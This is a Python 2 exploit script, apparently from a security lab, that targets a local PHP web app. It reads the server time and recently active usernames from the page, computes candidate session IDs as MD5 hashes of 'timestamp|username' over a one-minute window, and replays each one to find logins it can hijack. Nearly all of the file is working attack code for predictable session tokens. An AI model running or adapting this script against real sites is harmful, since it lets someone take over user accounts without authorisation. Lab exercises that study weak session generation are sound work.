known_users = ['joe', 'jim', 'alice', 'bob', 'carol', 'dave', 'tim', 'tom']
pattern_unix_time = 'unixzeit='
pattern_last_users = 'online last hour:'
pattern_user_logged_in = 'you are: '
pattern_minutes_ago = ' minutes ago)'

def exploitApp2():
    conn = httplib.HTTPConnection("127.0.0.1:8080") #open connection
    data = requestData(conn, None) #get the content of index.php
    print(data)
    serverTime = getUnixTime(data) #extract server time from http response
    lastUsers = getLastUsers(data)
    for (userName, minute) in lastUsers:
        print('{0}: {1} minutes'.format(userName, minute))
    sessionIds = calcSessionIds(serverTime, lastUsers) #brute force calculation of all session ids which where generated within the last 3600 seconds
    filterValidSessionIds(conn, sessionIds)


def requestData(conn, sessionId):
    url = "/index.php"
    if(sessionId is not None):
        url = url + '?s={0}'.format(sessionId)
    
    conn.request("GET", url)
    response = conn.getresponse()
    data = response.read()

    return data

def getUnixTime(data):
    i = data.rfind(pattern_unix_time) + len(pattern_unix_time) #find string 'unixzeit='
    j = data[i:].find("\n") #find line break
    unixTime = data[i:(i+j)] #extract unixTime
    return unixTime

def getLastUsers(data):
    i = data.find(pattern_last_users)
    subData = data[i:]
    lastUsers = []
    for userName in known_users:
        pattern = '{0} ('.format(userName)
        if pattern not in subData:
            continue
        j = subData.find(userName) + len(pattern)
        if j < 0:
            continue
        k = subData[j:].find(pattern_minutes_ago)
        minute = subData[j:j+k]
        if minute is None:
            continue
        lastUsers.append((userName, minute))
    return lastUsers

def calcSessionIds(serverTime, lastUsers):
    seconds = range(0,60) #we want to calculate potential session ids generated in the 
    sessionIds = []
    for (userName, minute) in lastUsers:
        lastLoginTime = long(serverTime) - (long(minute) * 60);
        print(lastLoginTime)
        for s in seconds:
            lastLoginTime = lastLoginTime - 1
            sessionInput = '{0}|{1}'.format(lastLoginTime, userName)
            m = hashlib.md5(str(sessionInput))
            sessionId = m.hexdigest()
            sessionIds.append((userName, sessionId))
            print('SessionId: {0} from input: {1}'.format(sessionId, sessionInput))
    return sessionIds

def filterValidSessionIds(conn, sessionIds):
    validSessionIds = []
    for (userName, sessionId) in sessionIds:
        data = requestData(conn, sessionId)
        pattern = pattern_user_logged_in + userName
        if userName in 'joe' and sessionId is 1367516110:
            print(data)
        if pattern not in data:
            continue
        print('Login succeded for user {0} with sessionId {1}'.format(userName, sessionId))
        validSessionIds.append((userName, sessionId))
    return validSessionIds


if __name__ == "__main__":
	import hashlib
	import httplib
	import sys
	exploitApp2()
	#calcSessionId(int(sys.argv[1]), str(sys.argv[2]), int(sys.argv[3]))